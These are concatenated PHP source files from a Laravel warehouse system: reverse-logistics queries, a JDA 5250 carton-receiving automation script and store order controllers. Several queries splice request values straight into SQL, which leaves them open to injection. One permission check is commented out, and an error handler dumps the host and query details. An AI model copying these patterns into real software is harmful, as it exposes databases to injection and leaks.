$query = DB::select(DB::raw("SELECT wms_reverse_logistic.move_doc_number,wms_reverse_logistic_det.upc, wms_stores.store_name,COALESCE(wms_product_lists.sku, 'No Available') as sku, COALESCE(wms_product_lists.description, 'No Available') as description, wms_users.firstname, wms_users.lastname, wms_reverse_logistic_det.created_at, wms_reverse_logistic_det.moved_qty from wms_reverse_logistic_det left join wms_reverse_logistic on wms_reverse_logistic_det.move_doc_number = wms_reverse_logistic.move_doc_number LEFT JOIN wms_stores on wms_reverse_logistic.from_store_code = wms_stores.store_code LEFT JOIN wms_product_lists on wms_reverse_logistic_det.upc = wms_product_lists.upc LEFT JOIN wms_users on wms_reverse_logistic.assigned_to_user_id = wms_users.id where wms_reverse_logistic_det.delivered_qty=0 and wms_reverse_logistic.assigned_to_user_id != 0 and wms_reverse_logistic.so_status=23 and wms_product_lists.id is null"));
return $query;
}
public static function getReverseTLnumbersync()
{
$query=DB::table('reverse_logistic')
->where('reverse_logistic.so_status', 20)
->where('reverse_logistic.assigned_to_user_id','!=', 0)
->update(['reverse_logistic.so_status' =>'21']);
}
public static function getReverseLogisticList($data= array(), $getCount=false)
{
// echo "<pre>"; print_r($data); die();
$query = ReverseLogistic::select('reverse_logistic.created_at','reverse_logistic.move_doc_number','reverse_logistic.so_status','reverse_logistic.updated_at','users.firstname','users.lastname','dataset.data_display','dataset.data_value','dataset.data_display','stores.store_name')
->join('stores','reverse_logistic.from_store_code','=','stores.store_code','left')
->join('users','reverse_logistic.assigned_to_user_id','=','users.id','left')
->join('dataset','reverse_logistic.so_status','=','dataset.id','left');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('reverse_logistic.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_entry_date']) ) $query->where('reverse_logistic.created_at', 'LIKE', '%'. $data['filter_entry_date'] . '%');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('reverse_logistic.from_store_code', 'LIKE', '%'. $data['filter_store'] . '%');
if( CommonHelper::hasValue($data['filter_stock_piler']) ) $query->whereRaw('find_in_set('. $data['filter_stock_piler'] . ',assigned_to_user_id) > 0');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if($data['sort'] == 'doc_no') $data['sort'] = 'reverse_logistic.move_doc_number';
if($data['sort'] == 'doc_no') $data['sort'] = 'reverse_logistic.created_at';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('reverse_logistic.move_doc_number');
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function getInfoBySoNo($data)
{
return ReverseLogistic::whereIn('move_doc_number', $data)->get()->toArray();
}
public static function assignToStockPilerReverse($soNo = '', $data = array())
{
$query = ReverseLogistic::where('move_doc_number', '=', $soNo)->update($data);
}
}
<file_sep><?php
class ApiStore extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
}<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class storeReceiving extends jdaCustomClass
{
private static $formMsg = "";
private static $weight = 1;
private static $soStatus = 3; //for closed so
/*
store receiving
09
01
20
01
Enter Carton id: CTNXXX20
press ENTER
per item (ASCENDING ORDER BY SKU) (loop)
F7
F10
press ENTER
*/
public function __construct() {
// parent::__construct();
parent::login();
}
private static function enterTransferReturnToVendor()
{
parent::$jda->screenWait("Transfers/Return");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("09",22,44)),ENTER,true);
echo "Entered: Transfer or Return to Vendor \n";
}
private static function enterTransferManagement()
{
parent::$jda->screenWait("Transfer Management");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("01",22,44)),ENTER,true);
echo "Entered: Transfer Management \n";
}
private static function enterReceiveTransferCartons()
{
parent::$jda->screenWait("Receive Transfer Cartons");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("20",22,44)),ENTER,true);
echo "Entered: Receive Transfer Cartons/Loads \n";
}
public function enterCartonReceiving()
{
parent::$jda->screenWait("Carton Receiving");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("01",22,44)),ENTER,true);
echo "Entered: Carton Receiving \n";
}
public function enterCartonId($box_code, $store_code)
{
parent::$jda->screenWait("Enter Carton Id");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
// $formValues[] = array(sprintf("%9s", $box_code),10,40); //enter carton id
$formValues[] = array($box_code,10,40); //enter carton id
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Carton Id \n";
return self::checkResponse($box_code, $store_code,__METHOD__);
}
public function enterForm($box_code, $store_code)
{
parent::$jda->screenWait("ID Number");
parent::display(parent::$jda->screen,132);
$column = 9;
$row = 4;
$qtyDelivered = self::getQtyDelivered($box_code, $store_code);
$formValues = array();
//coordinates start on 37/9
for ($i=0; $i < count($qtyDelivered); $i++) {
$new_col = ($i + $column);
echo "\n value of new_col is: {$new_col} \n";
echo "value of quantity moved is: {$qtyDelivered[$i]} \n";
$formValues[] = array(sprintf("%11d", $qtyDelivered[$i]),$new_col,$row); //enter moved_qty
}
// echo $i;
// if(parent::$jda->screenCheck('F7=Accept') && $i == count($qtyDelivered)) {
parent::$jda->write5250($formValues,ENTER,true);
parent::$jda->write5250($formValues,F7,true);
echo "Entered: Detail Form \n";
return self::checkResponse($box_code, $store_code,__METHOD__);
// }
}
private static function jobQueue($box_code, $store_code)
{
parent::$jda->screenWait("batch Job Queue");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,ENTER,true);
echo "Entered: Job Queue \n";
self::updateSyncStatus($box_code, FALSE, $store_code);// update status
}
public function save($box_code, $store_code = NULL)
{
//WHS0151: Carton added to the submit processing selections
if(parent::$jda->screenCheck('WHS0151'))
{
parent::pressF10();
self::jobQueue($box_code, $store_code);
}
}
private static function checkResponse($box_code, $store_code,$source)
{
# error
if(parent::$jda->screenCheck('Carton ID must be entered')) {
$receiver_message="Carton ID must be entered";
self::$formMsg = "{$box_code}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($box_code,"{$source}: {$receiver_message}", TRUE, $store_code);
return false;
}
if(parent::$jda->screenCheck('Carton ID not valid')) {
$receiver_message="Carton ID not valid";
self::$formMsg = "{$box_code}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($box_code,"{$source}: {$receiver_message}", TRUE, $store_code);
return false;
}
if(parent::$jda->screenCheck('Warning: The received quantity is less than the shipped quantity')) {
$receiver_message="Warning: The received quantity is less than the shipped quantity";
self::$formMsg = "{$box_code}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($box_code,"{$source}: {$receiver_message}", TRUE, $store_code);
return false;
}
if(parent::$jda->screenCheck('The received quantity is greater than the shipped')) {
$receiver_message="The received quantity is greater than the shipped quantity";
self::$formMsg = "{$box_code}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($box_code,"{$source}: {$receiver_message}", TRUE, $store_code);
return false;
}
if(parent::$jda->screenCheck('The carton status is not correct for receiving')) {
$receiver_message="The carton status is not correct for receiving";
self::$formMsg = "{$box_code}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($box_code,"{$source}: {$receiver_message}", TRUE, $store_code);
return false;
}
#success
if(parent::$jda->screenCheck('Carton added to the submit processing selections') || parent::$jda->screenWait('Carton added to the submit processing selections')) {
self::$formMsg = "{$box_code}: Carton added to the submit processing selections";
}
echo self::$formMsg;
return true;
}
/*
* Get boxes
*/
/*public function getBoxes()
{
$db = new pdoConnection();
echo "\n Getting load_code from db \n";
$sql = "SELECT DISTINCT b.box_code, b.store_code
FROM wms_store_order so
INNER JOIN wms_load_details ld ON ld.load_code = so.load_code
INNER JOIN wms_pallet_details pd ON ld.pallet_code = pd.pallet_code
INNER JOIN wms_box b ON b.box_code = pd.box_code AND so.store_code = b.store_code
WHERE so_status = ". self::$soStatus ." AND so.sync_status = 0
GROUP BY b.box_code, so.load_code";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
// $result[] = $value['box_code'];
$result[] = $value;
}
$db->close();
return $result;
}*/
/*
* Get all skus per box
*/
public function getQtyDelivered($box_code, $store_code)
{
$db = new pdoConnection();
echo "\n Getting load_code from db \n";
/*$sql = "SELECT so.id, so.so_no, so.store_code, pd.id pick_detail_id, bd.box_code, pd.sku, SUM(so_detail.delivered_qty) delivered_qty
FROM wms_store_order so
RIGHT JOIN wms_store_order_detail so_detail ON so_detail.so_no = so.so_no
LEFT JOIN wms_picklist_details pd ON pd.so_no = so.so_no
INNER JOIN wms_box_details bd ON bd.picklist_detail_id = pd.id
INNER JOIN wms_product_lists prod ON prod.upc = so_detail.sku
WHERE so.so_status = ". self::$soStatus ." AND so.sync_status = 0 AND bd.box_code = '{$box_code}'
GROUP BY pd.sku, so.store_code
ORDER BY prod.sku ASC";*/
/*$sql = "SELECT so.id, so.so_no, so.store_code, so_detail.sku, so_detail.delivered_qty
, (SELECT MIN(box_code) FROM wms_picklist_details pd RIGHT JOIN wms_box_details bd ON bd.picklist_detail_id = pd.id WHERE pd.so_no = so_detail.so_no AND box_code = '{$box_code}' GROUP BY box_code) AS box
FROM wms_store_order_detail so_detail
INNER JOIN wms_store_order so ON so.so_no = so_detail.so_no AND so.so_status = ". self::$soStatus ." AND so.sync_status = 0
INNER JOIN wms_product_lists prod ON prod.upc = so_detail.sku
ORDER BY prod.sku ASC";*/
$sql = "SELECT so.id, so.so_no, so.store_code, prod.sku, pd.box_code, so.load_code, so_detail.sku, so_detail.delivered_qty
FROM wms_store_order so
RIGHT JOIN wms_store_order_detail so_detail ON so_detail.so_no = so.so_no
INNER JOIN wms_product_lists prod ON prod.upc = so_detail.sku
LEFT JOIN wms_load_details ld ON ld.load_code = so.load_code
LEFT JOIN wms_pallet_details pd ON pd.pallet_code = ld.pallet_code
WHERE so.so_status = ". self::$soStatus ." AND so.sync_status = 0 AND box_code = '{$box_code}' AND store_code = {$store_code}
ORDER BY convert(prod.sku, decimal) ASC";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['delivered_qty'];
}
$db->close();
return $result;
}
/*
* Update batch wms_store_order so_status to 3 (close)
*/
private static function updateSyncStatus($box_code,$error_message=null, $isError = FALSE, $store_code = NULL)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Updating... \n";
$sql = "UPDATE wms_store_order SET wms_store_order.sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}', error_message = '{$error_message}'
WHERE wms_store_order.sync_status = 0 AND load_code = (SELECT load_code FROM `wms_pallet_details` pd
INNER JOIN wms_load_details ld ON ld.pallet_code = pd.pallet_code
WHERE box_code = '{$box_code}') AND store_code = {$store_code}";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToReceiveTransferCartons()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Shipping \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
self::enterTransferReturnToVendor();
self::enterTransferManagement();
self::enterReceiveTransferCartons();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
public function logout()
{
parent::logout();
}
}
$db = new pdoConnection(); //open db connection
$getBoxes = $db->getSOBoxes($params);
$db->close(); //close db connection
if(! empty($getBoxes) )
{
$store = new storeReceiving();
$store->enterUpToReceiveTransferCartons();
// $getBoxes = $store->getBoxes();
foreach($getBoxes as $box)
{
$store->enterCartonReceiving();
$validate = $store->enterCartonId($box['box_code'], $box['store_code']);
if($validate)
{
$validateDetail = $store->enterForm($box['box_code'], $box['store_code']);
if($validateDetail) $store->save($box['box_code'], $box['store_code']);
}
}
$store->logout();
}
else {
echo " \n No rows found!. \n";
}
<file_sep><?php namespace App\Library;
use Config, Carbon\Carbon;
class JdaInstance
{
/*
|--------------------------------------------------------------------------
| JdaInstance
|--------------------------------------------------------------------------
|
| Author: <NAME>
| Created At: 12/2015
| Last Update: 2/15/2016
| Description: Used for connecting to a specified JDA Instance database
|
*/
protected $db_host;
protected $db_name;
protected $db_username;
protected $db_password;
protected $driver;
protected $dbh;
public function __construct()
{
try
{
$this->driver = Config::get('jda.driver');
$this->db_host = Config::get('jda.host');
$this->db_name = Config::get('jda.library');
$this->db_username = Config::get('jda.username');
$this->db_password = Config::get('jda.password');
$cn_string = "odbc:DRIVER={$this->driver}; ".
"SYSTEM={$this->db_host}; ".
"DATABASE={$this->db_name}; ".
"UID={$this->db_username}; ".
"PWD={$this-><PASSWORD>};";
$this->dbh = new \PDO($cn_string,"","");
}
catch(\Exception $e)
{
throw $e;
}
}
/**
* Execute the query to the dbh var
*/
protected function query($query)
{
try
{
$prep_result = $statement = $this->dbh->prepare($query);
if(!$prep_result)
{
dd('Something went wrong. Please contact your system administrator and provide a screenshot of this screen',
$this->dbh->errorInfo(),
'Host:'.$this->db_host.' / Name:'.$this->db_name,
'query',$query);
}
else
{
$statement->execute();
$result = $statement->fetchAll();
return $result;
}
}
catch(\Exception $e)
{
dd($e);
}
}
}<file_sep><?php
class StoreOrderController extends BaseController {
private $data = array();
//protected $layout = "layouts.main";
protected $layout = "layouts.StrRcvng_layout";
public function __construct() {
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only'=> array('Dashboard')));
$this->apiUrl = Config::get('constant.api_url');
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessStoreOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportStoreOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('store_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('store_order');
$this->data['so_status_type'] = Dataset::getTypeWithValue("SO_STATUS_TYPE");
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_so_no' => Input::get('filter_so_no', NULL),
'filter_store' => Input::get('filter_store', NULL),
'filter_order_date' => Input::get('filter_order_date',NULL),
'filter_status' => Input::get('filter_status', NULL),
'sort' => Input::get('sort', 'so_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = StoreOrder::getSOList($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('store_order.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('store_order_' . date('Ymd') . '.pdf');
}
public function exportDetailsCSV() {
///Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportStoreOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('store_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
if (StoreOrder::find(Input::get('id', NULL))!=NULL) {
$so_id = Input::get('id', NULL);
$this->data = Lang::get('store_order');
$this->data['so_status_type'] = Dataset::getTypeWithValue("SO_STATUS_TYPE");
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'sort' => Input::get('sort_detail', 'sku'),
'order' => Input::get('order_detail', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$so_info = StoreOrder::getSOInfo($so_id);
$results = StoreOrderDetail::getSODetails($so_info->so_no, $arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('store_order.report_detail', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('store_order_detail_' . date('Ymd') . '.pdf');
}
}
public function exportMTSCSV() {
///Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportStoreOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('store_order' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
if (StoreOrder::find(Input::get('id', NULL))!=NULL) {
$so_id = Input::get('id', NULL);
$this->data = Lang::get('store_order');
$this->data['so_status_type'] = Dataset::getTypeWithValue("SO_STATUS_TYPE");
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'sort' => Input::get('sort_detail', 'sku'),
'order' => Input::get('order_detail', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$so_info = StoreOrder::getSOInfo($so_id);
$results = StoreOrderDetail::getMtsDetails($so_info->so_no, $arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('store_order.report_mts', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('store_order_mts_' . date('Ymd') . '.pdf');
}
}
public function getSODetails() {
// Check Permissions
/* if (Session::has('permissions')) {
if (!in_array('CanAccessStoreOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('store_order');
} elseif (StoreOrder::find(Input::get('id', NULL))==NULL) {
return Redirect::to('store_order')->with('error', Lang::get('store_order.error_so_details'));
}
} else {
return Redirect::to('users/logout');
}*/
$this->data['heading_title_so_details'] = Lang::get('store_order.heading_title_so_details');
$this->data['heading_title_so_contents'] = Lang::get('store_order.heading_title_so_contents');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['text_print_manifest'] = Lang::get('store_order.text_print_manifest');
$this->data['text_closed_so'] = Lang::get('store_order.text_closed_so');
$this->data['text_warning'] = Lang::get('store_order.text_warning');
$this->data['label_store_order_no'] = Lang::get('store_order.label_store_order_no');
$this->data['label_store'] = Lang::get('store_order.label_store');
$this->data['label_order_date'] = Lang::get('store_order.label_order_date');
$this->data['label_dispatch_date'] = Lang::get('store_order.label_dispatch_date');
$this->data['label_status'] = Lang::get('store_order.label_status');
$this->data['label_app_sync'] = Lang::get('store_order.label_app_sync');
$this->data['col_id'] = Lang::get('store_order.col_id');
$this->data['col_upc'] = Lang::get('store_order.col_upc');
$this->data['col_short_name'] = Lang::get('store_order.col_short_name');
$this->data['col_ordered_quantity'] = Lang::get('store_order.col_ordered_quantity');
$this->data['col_delivered_quantity'] = Lang::get('store_order.col_delivered_quantity');
$this->data['col_picked_quantity'] = Lang::get('store_order.col_picked_quantity');
$this->data['col_packed_quantity'] = Lang::get('store_order.col_packed_quantity');
$this->data['col_slot_no'] = Lang::get('store_order.col_slot_no');
$this->data['col_expiry_date'] = Lang::get('store_order.col_expiry_date');
$this->data['col_moved_to_picking'] = Lang::get('store_order.col_moved_to_picking');
$this->data['button_back'] = Lang::get('general.button_back');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_print_manifest'] = Lang::get('store_order.button_print_manifest');
// URL
$this->data['url_export'] = URL::to('store_order/export_detail');
$this->data['url_back'] = URL::to('store_order' . $this->setURL(false, true));
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
// Search Options
$this->data['so_status_type'] = Dataset::getTypeWithValue("SO_STATUS_TYPE");
$store_list = StoreOrder::getStoreList();
if(CommonHelper::arrayHasValue($store_list)) {
foreach($store_list as $store){
$this->data['store_list'][$store] = $store;
}
}
else {
$this->data['store_list'][] = NULL;
}
// Search Filters
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_order_date = Input::get('filter_order_date', NULL);
$filter_status = Input::get('filter_status', NULL);
//for back
$sort_back = Input::get('sort_back', 'so_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$so_id = Input::get('id', NULL);
$so_no = Input::get('so_no', NULL);
$this->data['so_info'] = StoreOrder::getSOInfo($so_id);
// echo '<pre>'; print_r($this->data['so_info']); exit;
$arrParams = array(
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'limit' => 30
);
$results = StoreOrderDetail::getSODetails($so_no, $arrParams);
// echo '<pre>'; dd($results);
$results_total = StoreOrderDetail::getCountSODetails($so_no, $arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_order_date' => $filter_order_date,
'filter_status' => $filter_status,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'id' => $so_id,
'so_no' => $so_no,
'sort' => $sort_detail,
'order' => $order_detail
);
$this->data['store_orders'] = Paginator::make($results, $results_total, 30);
$this->data['store_orders_count'] = $results_total;
$this->data['counter'] = $this->data['store_orders']->getFrom();
// Main
$this->data['filter_so_no'] = $filter_so_no;
$this->data['filter_store'] = $filter_store;
$this->data['filter_order_date'] = $filter_order_date;
$this->data['filter_status'] = $filter_status;
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
// Details
$this->data['sort_detail'] = $sort_detail;
$this->data['order_detail'] = $order_detail;
$this->data['page_detail'] = $page_detail;
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
$url = '?filter_so_no=' . $filter_so_no . '&filter_store=' . $filter_store;
$url .= '&filter_order_date=' . $filter_order_date;
$url .= '&filter_status=' . $filter_status;
$url .= '&sort_back=' . $sort_back . '&order_back=' . $order_back . '&page_back=' . $page_back;
$url .= '&page_detail=' . $page_detail . '&id=' . $so_id . '&so_no=' . $so_no;
$order_sku = ($sort_detail=='sku' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_short_name = ($sort_detail=='short_name' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_ordered_quantity = ($sort_detail=='ordered_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_allocated_quantity = ($sort_detail=='allocated_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_dispatched_quantity = ($sort_detail=='dispatched_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_sku'] = URL::to('store_order/detail' . $url . '&sort=sku&order=' . $order_sku, NULL, FALSE);
$this->data['sort_short_name'] = URL::to('store_order/detail' . $url . '&sort=short_name&order=' . $order_short_name, NULL, FALSE);
$this->data['sort_ordered_quantity'] = URL::to('store_order/detail' . $url . '&sort=ordered_quantity&order=' . $order_ordered_quantity, NULL, FALSE);
$this->data['sort_allocated_quantity'] = URL::to('store_order/detail' . $url . '&sort=allocated_quantity&order=' . $order_allocated_quantity, NULL, FALSE);
$this->data['sort_dispatched_quantity'] = URL::to('store_order/detail' . $url . '&sort=dispatched_quantity&order=' . $order_dispatched_quantity, NULL, FALSE);
// Permissions
//$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('store_order.detail', $this->data);
}
public function getMtsDetails() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessStoreOrders', unserialize(Session::get('permissions')))) {
return Redirect::to('store_order');
} elseif (StoreOrder::find(Input::get('id', NULL))==NULL) {
return Redirect::to('store_order')->with('error', Lang::get('store_order.error_so_details'));
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('store_order');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_back'] = Lang::get('general.button_back');
$this->data['button_export'] = Lang::get('general.button_export');
// URL
$this->data['url_mts_export'] = URL::to('store_order/export_mts');
$this->data['url_back'] = URL::to('store_order' . $this->setURL(false, true));
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
$this->data['so_status_type'] = Dataset::getTypeWithValue("SO_STATUS_TYPE");
$store_list = StoreOrder::getStoreList();
if(CommonHelper::arrayHasValue($store_list)) {
foreach($store_list as $store){
$this->data['store_list'][$store] = $store;
}
}
else {
$this->data['store_list'][] = NULL;
}
// Search Filters
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_order_date = Input::get('filter_order_date', NULL);
$filter_status = Input::get('filter_status', NULL);
//for back
$sort_back = Input::get('sort_back', 'so_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$so_id = Input::get('id', NULL);
$so_no = Input::get('so_no', NULL);
$this->data['so_info'] = StoreOrder::getSOInfo($so_id);
// echo '<pre>'; print_r($this->data['so_info']); exit;
$arrParams = array(
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'limit' => 30
);
$results = StoreOrderDetail::getMtsDetails($so_no, $arrParams);
// echo '<pre>'; dd($results);
$results_total = StoreOrderDetail::getMtsDetails($so_no, $arrParams, TRUE);
// Pagination
$this->data['arrFilters'] = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_order_date' => $filter_order_date,
'filter_status' => $filter_status,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'id' => $so_id,
'so_no' => $so_no,
'sort' => $sort_detail,
'order' => $order_detail,
);
$this->data['store_orders'] = Paginator::make($results, $results_total, 30);
$this->data['store_orders_count'] = $results_total;
$this->data['counter'] = $this->data['store_orders']->getFrom();
// Main
$this->data['filter_so_no'] = $filter_so_no;
$this->data['filter_store'] = $filter_store;
$this->data['filter_order_date'] = $filter_order_date;
$this->data['filter_status'] = $filter_status;
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
// Details
$this->data['sort_detail'] = $sort_detail;
$this->data['order_detail'] = $order_detail;
$this->data['page_detail'] = $page_detail;
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
$url = '?filter_so_no=' . $filter_so_no . '&filter_store=' . $filter_store;
$url .= '&filter_order_date=' . $filter_order_date;
$url .= '&filter_status=' . $filter_status;
$url .= '&sort_back=' . $sort_back . '&order_back=' . $order_back . '&page_back=' . $page_back;
$url .= '&page_detail=' . $page_detail . '&id=' . $so_id . '&so_no=' . $so_no;
$order_upc = ($sort_detail=='upc' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_short_name = ($sort_detail=='short_name' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_moved_qty = ($sort_detail=='moved_qty' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_delivered_qty = ($sort_detail=='delivered_qty' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_dispatched_quantity = ($sort_detail=='dispatched_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_upc'] = URL::to('store_order/mts_detail' . $url . '&sort=upc&order=' . $order_upc, NULL, FALSE);
$this->data['sort_short_name'] = URL::to('store_order/mts_detail' . $url . '&sort=short_name&order=' . $order_short_name, NULL, FALSE);
$this->data['sort_moved_qty'] = URL::to('store_order/mts_detail' . $url . '&sort=moved_qty&order=' . $order_moved_qty, NULL, FALSE);
$this->data['sort_delivered_qty'] = URL::to('store_order/mts_detail' . $url . '&sort=delivered_qty&order=' . $order_delivered_qty, NULL, FALSE);
$this->data['sort_dispatched_quantity'] = URL::to('store_order/mts_detail' . $url . '&sort=dispatched_quantity&order=' . $order_dispatched_quantity, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('store_order.mts_detail', $this->data);
}
protected function getList() {
$this->data['heading_title'] = Lang::get('store_order.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['text_closed_so'] = Lang::get('store_order.text_closed_so');
$this->data['text_warning'] = Lang::get('store_order.text_warning');
$this->data['text_confirm_assign'] = Lang::get('store_order.text_confirm_assign');
$this->data['label_store_order_no'] = Lang::get('store_order.label_store_order_no');
$this->data['label_store'] = Lang::get('store_order.label_store');
$this->data['label_order_date'] = Lang::get('store_order.label_order_date');
$this->data['label_status'] = Lang::get('store_order.label_status');
$this->data['col_id'] = Lang::get('store_order.col_id');
$this->data['col_so_no'] = Lang::get('store_order.col_so_no');
$this->data['col_store'] = Lang::get('store_order.col_store');
$this->data['col_store_name'] = Lang::get('store_order.col_store_name');
$this->data['col_order_date'] = Lang::get('store_order.col_order_date');
$this->data['col_status'] = Lang::get('store_order.col_status');
$this->data['col_load_code'] = Lang::get('store_order.col_load_code');
$this->data['col_action'] = Lang::get('store_order.col_action');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['link_view_mts'] = Lang::get('general.link_view_mts');
// URL
$this->data['url_export'] = URL::to('store_order/export');
$this->data['url_detail'] = URL::to('store_order/detail' . $this->setURL(true));
$this->data['url_mts_detail'] = URL::to('store_order/mts_detail' . $this->setURL(true));
